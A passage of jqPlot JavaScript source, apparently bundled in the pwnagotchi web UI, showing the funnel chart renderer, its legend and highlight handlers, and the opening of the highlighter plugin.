src="plugins/jqplot.funnelRenderer.js"></script> * * Properties described here are passed into the $.jqplot function * as options on the series renderer. For example: * * > plot2 = $.jqplot('chart2', [s1, s2], { * > seriesDefaults: { * > renderer:$.jqplot.FunnelRenderer, * > rendererOptions:{ * > sectionMargin: 12, * > widthRatio: 0.3 * > } * > } * > }); * * IMPORTANT * * *The funnel renderer will reorder data in descending order* so the largest value in * the data set is first and displayed on top of the funnel. Data will then * be displayed in descending order down the funnel. The area of each funnel * section will correspond to the value of each data point relative to the sum * of all values. That is section area is proportional to section value divided by * sum of all section values. * * If your data is not in descending order when passed into the plot, *it will be * reordered* when stored in the series.data property. A copy of the unordered * data is kept in the series._unorderedData property. * * A funnel plot will trigger events on the plot target * according to user interaction. All events return the event object, * the series index, the point (section) index, and the point data for * the appropriate section. *Note* the point index will referr to the ordered * data, not the original unordered data. * * 'jqplotDataMouseOver' - triggered when mousing over a section. * 'jqplotDataHighlight' - triggered the first time user mouses over a section, * if highlighting is enabled. * 'jqplotDataUnhighlight' - triggered when a user moves the mouse out of * a highlighted section. * 'jqplotDataClick' - triggered when the user clicks on a section. * 'jqplotDataRightClick' - tiggered when the user right clicks on a section if * the "captureRightClick" option is set to true on the plot. */ $.jqplot.FunnelRenderer = function(){ $.jqplot.LineRenderer.call(this); }; $.jqplot.FunnelRenderer.prototype = new $.jqplot.LineRenderer(); $.jqplot.FunnelRenderer.prototype.constructor = $.jqplot.FunnelRenderer; // called with scope of a series $.jqplot.FunnelRenderer.prototype.init = function(options, plot) { // Group: Properties // // prop: padding // padding between the funnel and plot edges, legend, etc. this.padding = {top: 20, right: 20, bottom: 20, left: 20}; // prop: sectionMargin // spacing between funnel sections in pixels. this.sectionMargin = 6; // prop: fill // true or false, whether to fill the areas. this.fill = true; // prop: shadowOffset // offset of the shadow from the area and offset of // each succesive stroke of the shadow from the last. this.shadowOffset = 2; // prop: shadowAlpha // transparency of the shadow (0 = transparent, 1 = opaque) this.shadowAlpha = 0.07; // prop: shadowDepth // number of strokes to apply to the shadow, // each stroke offset shadowOffset from the last. this.shadowDepth = 5; // prop: highlightMouseOver // True to highlight area when moused over. // This must be false to enable highlightMouseDown to highlight when clicking on a area. this.highlightMouseOver = true; // prop: highlightMouseDown // True to highlight when a mouse button is pressed over a area. // This will be disabled if highlightMouseOver is true. this.highlightMouseDown = false; // prop: highlightColors // array of colors to use when highlighting an area. this.highlightColors = []; // prop: widthRatio // The ratio of the width of the top of the funnel to the bottom. // a ratio of 0 will make an upside down pyramid. this.widthRatio = 0.2; // prop: lineWidth // width of line if areas are stroked and not filled. this.lineWidth = 2; // prop: dataLabels // Either 'label', 'value', 'percent' or an array of labels to place on the pie slices. // Defaults to percentage of each pie slice. this.dataLabels = 'percent'; // prop: showDataLabels // true to show data labels on slices. this.showDataLabels = false; // prop: dataLabelFormatString // Format string for data labels. If none, '%s' is used for "label" and for arrays, '%d' for value and '%d%%' for percentage. this.dataLabelFormatString = null; // prop: dataLabelThreshold // Threshhold in percentage (0 - 100) of pie area, below which no label will be displayed. // This applies to all label types, not just to percentage labels. this.dataLabelThreshold = 3; this._type = 'funnel'; this.tickRenderer = $.jqplot.FunnelTickRenderer; // if user has passed in highlightMouseDown option and not set highlightMouseOver, disable highlightMouseOver if (options.highlightMouseDown && options.highlightMouseOver == null) { options.highlightMouseOver = false; } $.extend(true, this, options); // index of the currenty highlighted point, if any this._highlightedPoint = null; // lengths of bases, or horizontal sides of areas of trapezoid. this._bases = []; // total area this._atot; // areas of segments. this._areas = []; // vertical lengths of segments. this._lengths = []; // angle of the funnel to vertical. this._angle; this._dataIndices = []; // sort data this._unorderedData = $.extend(true, [], this.data); var idxs = $.extend(true, [], this.data); for (var i=0; i<idxs.length; i++) { idxs[i].push(i); } this.data.sort( function (a, b) { return b[1] - a[1]; } ); idxs.sort( function (a, b) { return b[1] - a[1]; }); for (var i=0; i<idxs.length; i++) { this._dataIndices.push(idxs[i][2]); } // set highlight colors if none provided if (this.highlightColors.length == 0) { for (var i=0; i<this.seriesColors.length; i++){ var rgba = $.jqplot.getColorComponents(this.seriesColors[i]); var newrgb = [rgba[0], rgba[1], rgba[2]]; var sum = newrgb[0] + newrgb[1] + newrgb[2]; for (var j=0; j<3; j++) { // when darkening, lowest color component can be is 60. newrgb[j] = (sum > 570) ? newrgb[j] * 0.8 : newrgb[j] + 0.4 * (255 - newrgb[j]); newrgb[j] = parseInt(newrgb[j], 10); } this.highlightColors.push('rgb('+newrgb[0]+','+newrgb[1]+','+newrgb[2]+')'); } } plot.postParseOptionsHooks.addOnce(postParseOptions); plot.postInitHooks.addOnce(postInit); plot.eventListenerHooks.addOnce('jqplotMouseMove', handleMove); plot.eventListenerHooks.addOnce('jqplotMouseDown', handleMouseDown); plot.eventListenerHooks.addOnce('jqplotMouseUp', handleMouseUp); plot.eventListenerHooks.addOnce('jqplotClick', handleClick); plot.eventListenerHooks.addOnce('jqplotRightClick', handleRightClick); plot.postDrawHooks.addOnce(postPlotDraw); }; // gridData will be of form [label, percentage of total] $.jqplot.FunnelRenderer.prototype.setGridData = function(plot) { // set gridData property. This will hold angle in radians of each data point. var sum = 0; var td = []; for (var i=0; i<this.data.length; i++){ sum += this.data[i][1]; td.push([this.data[i][0], this.data[i][1]]); } // normalize y values, so areas are proportional. for (var i=0; i<td.length; i++) { td[i][1] = td[i][1]/sum; } this._bases = new Array(td.length + 1); this._lengths = new Array(td.length); this.gridData = td; }; $.jqplot.FunnelRenderer.prototype.makeGridData = function(data, plot) { // set gridData property. This will hold angle in radians of each data point. var sum = 0; var td = []; for (var i=0; i<this.data.length; i++){ sum += this.data[i][1]; td.push([this.data[i][0], this.data[i][1]]); } // normalize y values, so areas are proportional. for (var i=0; i<td.length; i++) { td[i][1] = td[i][1]/sum; } this._bases = new Array(td.length + 1); this._lengths = new Array(td.length); return td; }; $.jqplot.FunnelRenderer.prototype.drawSection = function (ctx, vertices, color, isShadow) { var fill = this.fill; var lineWidth = this.lineWidth; ctx.save(); if (isShadow) { for (var i=0; i<this.shadowDepth; i++) { ctx.save(); ctx.translate(this.shadowOffset*Math.cos(this.shadowAngle/180*Math.PI), this.shadowOffset*Math.sin(this.shadowAngle/180*Math.PI)); doDraw(); } } else { doDraw(); } function doDraw () { ctx.beginPath(); ctx.fillStyle = color; ctx.strokeStyle = color; ctx.lineWidth = lineWidth; ctx.moveTo(vertices[0][0], vertices[0][1]); for (var i=1; i<4; i++) { ctx.lineTo(vertices[i][0], vertices[i][1]); } ctx.closePath(); if (fill) { ctx.fill(); } else { ctx.stroke(); } } if (isShadow) { for (var i=0; i<this.shadowDepth; i++) { ctx.restore(); } } ctx.restore(); }; // called with scope of series $.jqplot.FunnelRenderer.prototype.draw = function (ctx, gd, options, plot) { var i; var opts = (options != undefined) ? options : {}; // offset and direction of offset due to legend placement var offx = 0; var offy = 0; var trans = 1; this._areas = []; // var colorGenerator = new this.colorGenerator(this.seriesColors); if (options.legendInfo && options.legendInfo.placement == 'insideGrid') { var li = options.legendInfo; switch (li.location) { case 'nw': offx = li.width + li.xoffset; break; case 'w': offx = li.width + li.xoffset; break; case 'sw': offx = li.width + li.xoffset; break; case 'ne': offx = li.width + li.xoffset; trans = -1; break; case 'e': offx = li.width + li.xoffset; trans = -1; break; case 'se': offx = li.width + li.xoffset; trans = -1; break; case 'n': offy = li.height + li.yoffset; break; case 's': offy = li.height + li.yoffset; trans = -1; break; default: break; } } var loff = (trans==1) ? this.padding.left + offx : this.padding.left; var toff = (trans==1) ? this.padding.top + offy : this.padding.top; var roff = (trans==-1) ? this.padding.right + offx : this.padding.right; var boff = (trans==-1) ? this.padding.bottom + offy : this.padding.bottom; var shadow = (opts.shadow != undefined) ? opts.shadow : this.shadow; var showLine = (opts.showLine != undefined) ? opts.showLine : this.showLine; var fill = (opts.fill != undefined) ? opts.fill : this.fill; var cw = ctx.canvas.width; var ch = ctx.canvas.height; this._bases[0] = cw - loff - roff; var ltot = this._length = ch - toff - boff; var hend = this._bases[0]*this.widthRatio; this._atot = ltot/2 * (this._bases[0] + this._bases[0]*this.widthRatio); this._angle = Math.atan((this._bases[0] - hend)/2/ltot); for (i=0; i<gd.length; i++) { this._areas.push(gd[i][1] * this._atot); } var guess, err, count, lsum=0; var tolerance = 0.0001; for (i=0; i<this._areas.length; i++) { guess = this._areas[i]/this._bases[i]; err = 999999; this._lengths[i] = guess; count = 0; while (err > this._lengths[i]*tolerance && count < 100) { this._lengths[i] = this._areas[i]/(this._bases[i] - this._lengths[i] * Math.tan(this._angle)); err = Math.abs(this._lengths[i] - guess); this._bases[i+1] = this._bases[i] - (2*this._lengths[i]*Math.tan(this._angle)); guess = this._lengths[i]; count++; } lsum += this._lengths[i]; } // figure out vertices of each section this._vertices = new Array(gd.length); // these are 4 coners of entire trapezoid var p0 = [loff, toff], p1 = [loff+this._bases[0], toff], p2 = [loff + (this._bases[0] - this._bases[this._bases.length-1])/2, toff + this._length], p3 = [p2[0] + this._bases[this._bases.length-1], p2[1]]; // equations of right and left sides, returns x, y values given height of section (y value) function findleft (l) { var m = (p0[1] - p2[1])/(p0[0] - p2[0]); var b = p0[1] - m*p0[0]; var y = l + p0[1]; return [(y - b)/m, y]; } function findright (l) { var m = (p1[1] - p3[1])/(p1[0] - p3[0]); var b = p1[1] - m*p1[0]; var y = l + p1[1]; return [(y - b)/m, y]; } var x = offx, y = offy; var h=0, adj=0; for (i=0; i<gd.length; i++) { this._vertices[i] = new Array(); var v = this._vertices[i]; var sm = this.sectionMargin; if (i == 0) { adj = 0; } if (i == 1) { adj = sm/3; } else if (i > 0 && i < gd.length-1) { adj = sm/2; } else if (i == gd.length -1) { adj = 2*sm/3; } v.push(findleft(h+adj)); v.push(findright(h+adj)); h += this._lengths[i]; if (i == 0) { adj = -2*sm/3; } else if (i > 0 && i < gd.length-1) { adj = -sm/2; } else if (i == gd.length - 1) { adj = 0; } v.push(findright(h+adj)); v.push(findleft(h+adj)); } if (this.shadow) { var shadowColor = 'rgba(0,0,0,'+this.shadowAlpha+')'; for (var i=0; i<gd.length; i++) { this.renderer.drawSection.call (this, ctx, this._vertices[i], shadowColor, true); } } for (var i=0; i<gd.length; i++) { var v = this._vertices[i]; this.renderer.drawSection.call (this, ctx, v, this.seriesColors[i]); if (this.showDataLabels && gd[i][1]*100 >= this.dataLabelThreshold) { var fstr, label; if (this.dataLabels == 'label') { fstr = this.dataLabelFormatString || '%s'; label = $.jqplot.sprintf(fstr, gd[i][0]); } else if (this.dataLabels == 'value') { fstr = this.dataLabelFormatString || '%d'; label = $.jqplot.sprintf(fstr, this.data[i][1]); } else if (this.dataLabels == 'percent') { fstr = this.dataLabelFormatString || '%d%%'; label = $.jqplot.sprintf(fstr, gd[i][1]*100); } else if (this.dataLabels.constructor == Array) { fstr = this.dataLabelFormatString || '%s'; label = $.jqplot.sprintf(fstr, this.dataLabels[this._dataIndices[i]]); } var fact = (this._radius ) * this.dataLabelPositionFactor + this.sliceMargin + this.dataLabelNudge; var x = (v[0][0] + v[1][0])/2 + this.canvas._offsets.left; var y = (v[1][1] + v[2][1])/2 + this.canvas._offsets.top; var labelelem = $('<span class="jqplot-funnel-series jqplot-data-label" style="position:absolute;">' + label + '</span>').insertBefore(plot.eventCanvas._elem); x -= labelelem.width()/2; y -= labelelem.height()/2; x = Math.round(x); y = Math.round(y); labelelem.css({left: x, top: y}); } } }; $.jqplot.FunnelAxisRenderer = function() { $.jqplot.LinearAxisRenderer.call(this); }; $.jqplot.FunnelAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.FunnelAxisRenderer.prototype.constructor = $.jqplot.FunnelAxisRenderer; // There are no traditional axes on a funnel chart. We just need to provide // dummy objects with properties so the plot will render. // called with scope of axis object. $.jqplot.FunnelAxisRenderer.prototype.init = function(options){ // this.tickRenderer = $.jqplot.FunnelTickRenderer; $.extend(true, this, options); // I don't think I'm going to need _dataBounds here. // have to go Axis scaling in a way to fit chart onto plot area // and provide u2p and p2u functionality for mouse cursor, etc. // for convienence set _dataBounds to 0 and 100 and // set min/max to 0 and 100. this._dataBounds = {min:0, max:100}; this.min = 0; this.max = 100; this.showTicks = false; this.ticks = []; this.showMark = false; this.show = false; }; /** * Class: $.jqplot.FunnelLegendRenderer * Legend Renderer specific to funnel plots. Set by default * when the user creates a funnel plot. */ $.jqplot.FunnelLegendRenderer = function(){ $.jqplot.TableLegendRenderer.call(this); }; $.jqplot.FunnelLegendRenderer.prototype = new $.jqplot.TableLegendRenderer(); $.jqplot.FunnelLegendRenderer.prototype.constructor = $.jqplot.FunnelLegendRenderer; $.jqplot.FunnelLegendRenderer.prototype.init = function(options) { // Group: Properties // // prop: numberRows // Maximum number of rows in the legend. 0 or null for unlimited. this.numberRows = null; // prop: numberColumns // Maximum number of columns in the legend. 0 or null for unlimited. this.numberColumns = null; $.extend(true, this, options); }; // called with context of legend $.jqplot.FunnelLegendRenderer.prototype.draw = function() { var legend = this; if (this.show) { var series = this._series; var ss = 'position:absolute;'; ss += (this.background) ? 'background:'+this.background+';' : ''; ss += (this.border) ? 'border:'+this.border+';' : ''; ss += (this.fontSize) ? 'font-size:'+this.fontSize+';' : ''; ss += (this.fontFamily) ? 'font-family:'+this.fontFamily+';' : ''; ss += (this.textColor) ? 'color:'+this.textColor+';' : ''; ss += (this.marginTop != null) ? 'margin-top:'+this.marginTop+';' : ''; ss += (this.marginBottom != null) ? 'margin-bottom:'+this.marginBottom+';' : ''; ss += (this.marginLeft != null) ? 'margin-left:'+this.marginLeft+';' : ''; ss += (this.marginRight != null) ? 'margin-right:'+this.marginRight+';' : ''; this._elem = $('<table class="jqplot-table-legend" style="'+ss+'"></table>'); // Funnel charts legends don't go by number of series, but by number of data points // in the series. Refactor things here for that. var pad = false, reverse = false, nr, nc; var s = series[0]; var colorGenerator = new $.jqplot.ColorGenerator(s.seriesColors); if (s.show) { var pd = s.data; if (this.numberRows) { nr = this.numberRows; if (!this.numberColumns){ nc = Math.ceil(pd.length/nr); } else{ nc = this.numberColumns; } } else if (this.numberColumns) { nc = this.numberColumns; nr = Math.ceil(pd.length/this.numberColumns); } else { nr = pd.length; nc = 1; } var i, j, tr, td1, td2, lt, rs, color; var idx = 0; for (i=0; i<nr; i++) { if (reverse){ tr = $('<tr class="jqplot-table-legend"></tr>').prependTo(this._elem); } else{ tr = $('<tr class="jqplot-table-legend"></tr>').appendTo(this._elem); } for (j=0; j<nc; j++) { if (idx < pd.length){ lt = this.labels[idx] || pd[idx][0].toString(); color = colorGenerator.next(); if (!reverse){ if (i>0){ pad = true; } else{ pad = false; } } else{ if (i == nr -1){ pad = false; } else{ pad = true; } } rs = (pad) ? this.rowSpacing : '0'; td1 = $('<td class="jqplot-table-legend" style="text-align:center;padding-top:'+rs+';">'+ '<div><div class="jqplot-table-legend-swatch" style="border-color:'+color+';"></div>'+ '</div></td>'); td2 = $('<td class="jqplot-table-legend" style="padding-top:'+rs+';"></td>'); if (this.escapeHtml){ td2.text(lt); } else { td2.html(lt); } if (reverse) { td2.prependTo(tr); td1.prependTo(tr); } else { td1.appendTo(tr); td2.appendTo(tr); } pad = true; } idx++; } } } } return this._elem; }; // $.jqplot.FunnelLegendRenderer.prototype.pack = function(offsets) { // if (this.show) { // // fake a grid for positioning // var grid = {_top:offsets.top, _left:offsets.left, _right:offsets.right, _bottom:this._plotDimensions.height - offsets.bottom}; // if (this.placement == 'insideGrid') { // switch (this.location) { // case 'nw': // var a = grid._left + this.xoffset; // var b = grid._top + this.yoffset; // this._elem.css('left', a); // this._elem.css('top', b); // break; // case 'n': // var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; // var b = grid._top + this.yoffset; // this._elem.css('left', a); // this._elem.css('top', b); // break; // case 'ne': // var a = offsets.right + this.xoffset; // var b = grid._top + this.yoffset; // this._elem.css({right:a, top:b}); // break; // case 'e': // var a = offsets.right + this.xoffset; // var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; // this._elem.css({right:a, top:b}); // break; // case 'se': // var a = offsets.right + this.xoffset; // var b = offsets.bottom + this.yoffset; // this._elem.css({right:a, bottom:b}); // break; // case 's': // var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; // var b = offsets.bottom + this.yoffset; // this._elem.css({left:a, bottom:b}); // break; // case 'sw': // var a = grid._left + this.xoffset; // var b = offsets.bottom + this.yoffset; // this._elem.css({left:a, bottom:b}); // break; // case 'w': // var a = grid._left + this.xoffset; // var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; // this._elem.css({left:a, top:b}); // break; // default: // same as 'se' // var a = grid._right - this.xoffset; // var b = grid._bottom + this.yoffset; // this._elem.css({right:a, bottom:b}); // break; // } // // } // else { // switch (this.location) { // case 'nw': // var a = this._plotDimensions.width - grid._left + this.xoffset; // var b = grid._top + this.yoffset; // this._elem.css('right', a); // this._elem.css('top', b); // break; // case 'n': // var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; // var b = this._plotDimensions.height - grid._top + this.yoffset; // this._elem.css('left', a); // this._elem.css('bottom', b); // break; // case 'ne': // var a = this._plotDimensions.width - offsets.right + this.xoffset; // var b = grid._top + this.yoffset; // this._elem.css({left:a, top:b}); // break; // case 'e': // var a = this._plotDimensions.width - offsets.right + this.xoffset; // var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; // this._elem.css({left:a, top:b}); // break; // case 'se': // var a = this._plotDimensions.width - offsets.right + this.xoffset; // var b = offsets.bottom + this.yoffset; // this._elem.css({left:a, bottom:b}); // break; // case 's': // var a = (offsets.left + (this._plotDimensions.width - offsets.right))/2 - this.getWidth()/2; // var b = this._plotDimensions.height - offsets.bottom + this.yoffset; // this._elem.css({left:a, top:b}); // break; // case 'sw': // var a = this._plotDimensions.width - grid._left + this.xoffset; // var b = offsets.bottom + this.yoffset; // this._elem.css({right:a, bottom:b}); // break; // case 'w': // var a = this._plotDimensions.width - grid._left + this.xoffset; // var b = (offsets.top + (this._plotDimensions.height - offsets.bottom))/2 - this.getHeight()/2; // this._elem.css({right:a, top:b}); // break; // default: // same as 'se' // var a = grid._right - this.xoffset; // var b = grid._bottom + this.yoffset; // this._elem.css({right:a, bottom:b}); // break; // } // } // } // }; // setup default renderers for axes and legend so user doesn't have to // called with scope of plot function preInit(target, data, options) { options = options || {}; options.axesDefaults = options.axesDefaults || {}; options.legend = options.legend || {}; options.seriesDefaults = options.seriesDefaults || {}; // only set these if there is a funnel series var setopts = false; if (options.seriesDefaults.renderer == $.jqplot.FunnelRenderer) { setopts = true; } else if (options.series) { for (var i=0; i < options.series.length; i++) { if (options.series[i].renderer == $.jqplot.FunnelRenderer) { setopts = true; } } } if (setopts) { options.axesDefaults.renderer = $.jqplot.FunnelAxisRenderer; options.legend.renderer = $.jqplot.FunnelLegendRenderer; options.legend.preDraw = true; options.sortData = false; options.seriesDefaults.pointLabels = {show: false}; } } function postInit(target, data, options) { // if multiple series, add a reference to the previous one so that // funnel rings can nest. for (var i=0; i<this.series.length; i++) { if (this.series[i].renderer.constructor == $.jqplot.FunnelRenderer) { // don't allow mouseover and mousedown at same time. if (this.series[i].highlightMouseOver) { this.series[i].highlightMouseDown = false; } } } } // called with scope of plot function postParseOptions(options) { for (var i=0; i<this.series.length; i++) { this.series[i].seriesColors = this.seriesColors; this.series[i].colorGenerator = $.jqplot.colorGenerator; } } function highlight (plot, sidx, pidx) { var s = plot.series[sidx]; var canvas = plot.plugins.funnelRenderer.highlightCanvas; canvas._ctx.clearRect(0,0,canvas._ctx.canvas.width, canvas._ctx.canvas.height); s._highlightedPoint = pidx; plot.plugins.funnelRenderer.highlightedSeriesIndex = sidx; s.renderer.drawSection.call(s, canvas._ctx, s._vertices[pidx], s.highlightColors[pidx], false); } function unhighlight (plot) { var canvas = plot.plugins.funnelRenderer.highlightCanvas; canvas._ctx.clearRect(0,0, canvas._ctx.canvas.width, canvas._ctx.canvas.height); for (var i=0; i<plot.series.length; i++) { plot.series[i]._highlightedPoint = null; } plot.plugins.funnelRenderer.highlightedSeriesIndex = null; plot.target.trigger('jqplotDataUnhighlight'); } function handleMove(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt1 = jQuery.Event('jqplotDataMouseOver'); evt1.pageX = ev.pageX; evt1.pageY = ev.pageY; plot.target.trigger(evt1, ins); if (plot.series[ins[0]].highlightMouseOver && !(ins[0] == plot.plugins.funnelRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseDown(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; if (plot.series[ins[0]].highlightMouseDown && !(ins[0] == plot.plugins.funnelRenderer.highlightedSeriesIndex && ins[1] == plot.series[ins[0]]._highlightedPoint)) { var evt = jQuery.Event('jqplotDataHighlight'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); highlight (plot, ins[0], ins[1]); } } else if (neighbor == null) { unhighlight (plot); } } function handleMouseUp(ev, gridpos, datapos, neighbor, plot) { var idx = plot.plugins.funnelRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } } function handleClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var evt = jQuery.Event('jqplotDataClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } function handleRightClick(ev, gridpos, datapos, neighbor, plot) { if (neighbor) { var ins = [neighbor.seriesIndex, neighbor.pointIndex, neighbor.data]; var idx = plot.plugins.funnelRenderer.highlightedSeriesIndex; if (idx != null && plot.series[idx].highlightMouseDown) { unhighlight(plot); } var evt = jQuery.Event('jqplotDataRightClick'); evt.which = ev.which; evt.pageX = ev.pageX; evt.pageY = ev.pageY; plot.target.trigger(evt, ins); } } // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. function postPlotDraw() { // Memory Leaks patch if (this.plugins.funnelRenderer && this.plugins.funnelRenderer.highlightCanvas) { this.plugins.funnelRenderer.highlightCanvas.resetCanvas(); this.plugins.funnelRenderer.highlightCanvas = null; } this.plugins.funnelRenderer = {}; this.plugins.funnelRenderer.highlightCanvas = new $.jqplot.GenericCanvas(); // do we have any data labels? if so, put highlight canvas before those var labels = $(this.targetId+' .jqplot-data-label'); if (labels.length) { $(labels[0]).before(this.plugins.funnelRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-funnelRenderer-highlight-canvas', this._plotDimensions, this)); } // else put highlight canvas before event canvas. else { this.eventCanvas._elem.before(this.plugins.funnelRenderer.highlightCanvas.createElement(this._gridPadding, 'jqplot-funnelRenderer-highlight-canvas', this._plotDimensions, this)); } var hctx = this.plugins.funnelRenderer.highlightCanvas.setContext(); this.eventCanvas._elem.bind('mouseleave', {plot:this}, function (ev) { unhighlight(ev.data.plot); }); } $.jqplot.preInitHooks.push(preInit); $.jqplot.FunnelTickRenderer = function() { $.jqplot.AxisTickRenderer.call(this); }; $.jqplot.FunnelTickRenderer.prototype = new $.jqplot.AxisTickRenderer(); $.jqplot.FunnelTickRenderer.prototype.constructor = $.jqplot.FunnelTickRenderer; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.highlighter.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { $.jqplot.eventListenerHooks.push(['jqplotMouseMove', handleMove]); /** * Class: $.jqplot.Highlighter * Plugin which will highlight data points when they are moused over. * * To use this plugin, include the js * file in your source: * * > <script type="text/javascript" src="plugins/jqplot.highlighter.js"></script> * * A tooltip providing information about the data point is enabled by default. * To disable the tooltip, set "showTooltip" to false. * * You can control what data is displayed in the tooltip with various * options. The "tooltipAxes" option controls whether the x, y or both * data values are displayed. * * Some chart types (e.g. hi-low-close) have more than one y value per * data point. To display the additional values in the tooltip, set the * "yvalues" option to the desired number of y values present (3 for a hlc chart). * * By default, data values will be formatted with the same formatting * specifiers as used to format the axis ticks. A custom format code * can be supplied with the tooltipFormatString option. This will apply * to all values in the tooltip. * * For more complete control, the "formatString" option can be set. This * Allows conplete control over tooltip formatting. Values are passed to * the format string in an order determined by the "tooltipAxes" and "yvalues" * options. So, if you have a hi-low-close chart and you just want to display * the hi-low-close values in the tooltip, you could set a formatString like: * * > highlighter: { * > tooltipAxes: 'y', * > yvalues: 3, * > formatString:'<table class="jqplot-highlighter"> * > <tr><td>hi:</td><td>%s</td></tr> * > <tr><td>low:</td><td>%s</td></tr> * > <tr><td>close:</td><td>%s</td></tr></table>' * > } * */ $.jqplot.Highlighter = function(options) { // Group: Properties // //prop: show // true to show the highlight. this.show = $.jqplot.config.enablePlugins; // prop: markerRenderer // Renderer used to draw the marker of the highlighted point. // Renderer will assimilate attributes from the data point being highlighted, // so no attributes need set on the renderer directly. // Default is to turn off shadow drawing on the highlighted point. this.markerRenderer = new $.jqplot.MarkerRenderer({shadow:false}); // prop: showMarker // true to show the marker this.showMarker = true; // prop: lineWidthAdjust // Pixels to add to the lineWidth of the highlight. this.lineWidthAdjust = 2.5; // prop: sizeAdjust // Pixels to add to the overall size of the highlight. this.sizeAdjust = 5; // prop: showTooltip // Show a tooltip with data point values. this.showTooltip = true; // prop: tooltipLocation // Where to position tooltip, 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw' this.tooltipLocation = 'nw'; // prop: fadeTooltip // true = fade in/out tooltip, flase = show/hide tooltip this.fadeTooltip = true; // prop: tooltipFadeSpeed // 'slow', 'def', 'fast', or number of milliseconds. this.tooltipFadeSpeed = "fast"; // prop: tooltipOffset // Pixel offset of tooltip from the highlight. this.tooltipOffset = 2; // prop: tooltipAxes // Which axes to display in tooltip, 'x', 'y' or 'both', 'xy' or 'yx' // 'both' and 'xy' are equivalent, 'yx' reverses order of labels. this.tooltipAxes = 'both'; // prop; tooltipSeparator // String to use to separate x and y axes in tooltip. this.tooltipSeparator = ', '; // prop; tooltipContentEditor // Function used to edit/augment/replace the formatted tooltip contents. // Called as str = tooltipContentEditor(str, seriesIndex, pointIndex) // where str is the generated tooltip html and seriesIndex and pointIndex identify // the data point being highlighted. Should return the html for the tooltip contents. this.tooltipContentEditor = null; // prop: useAxesFormatters // Use the x and y axes formatters to format the text in the tooltip. this.useAxesFormatters = true; // prop: tooltipFormatString // sprintf format string for the tooltip. // Uses Ash Searle's javascript sprintf implementation // found here: http://hexmen.com/blog/2007/03/printf-sprintf/ // See http://perldoc.perl.org/functions/sprintf.html for reference. // Additional "p" and "P" format specifiers added by Chris Leonello. this.tooltipFormatString = '%.5P'; // prop: formatString // alternative to tooltipFormatString // will format the whole tooltip text, populating with x, y values as // indicated by tooltipAxes option. So, you could have a tooltip like: // 'Date: %s, number of cats: %d' to format the whole tooltip at one go. // If useAxesFormatters is true, values will be formatted according to // Axes formatters and you can populate your tooltip string with // %s placeholders. this.formatString = null; // prop: yvalues // Number of y values to expect in the data point array. // Typically this is 1. Certain plots, like OHLC, will // have more y values in each data point array. this.yvalues = 1; // prop: bringSeriesToFront // This option requires jQuery 1.4+ // True to bring the series of the highlighted point to the front // of other series. this.bringSeriesToFront = false; this._tooltipElem; this.isHighlighting = false; this.currentNeighbor = null; $.extend(true, this, options); }; var locations = ['nw', 'n', 'ne', 'e', 'se', 's', 'sw', 'w']; var locationIndicies = {'nw':0, 'n':1, 'ne':2, 'e':3, 'se':4, 's':5, 'sw':6, 'w':7}; var oppositeLocations = ['se', 's', 'sw', 'w', 'nw', 'n', 'ne', 'e']; // axis.renderer.tickrenderer.formatter // called with scope of plot $.jqplot.Highlighter.init = function (target, data, opts){ var options = opts || {}; // add a highlighter attribute to the plot this.plugins.highlighter = new $.jqplot.Highlighter(options.highlighter); }; // called within scope of series $.jqplot.Highlighter.parseOptions = function (defaults, options) { // Add a showHighlight option to the series // and set it to true by default. this.showHighlight = true; }; // called within context of plot // create a canvas which we can draw on. // insert it before the eventCanvas, so eventCanvas will still capture events. $.jqplot.Highlighter.postPlotDraw = function() { // Memory Leaks patch if (this.plugins.highlighter && this.plugins.highlighter.highlightCanvas) { this.plugins.highlighter.highlightCanvas.resetCanvas(); this.plugins.highlighter.highlightCanvas = null; } if (this.plugins.highlighter && this.plugins.highlighter._tooltipElem) { this.plugins.highlighter._tooltipElem.emptyForce(); 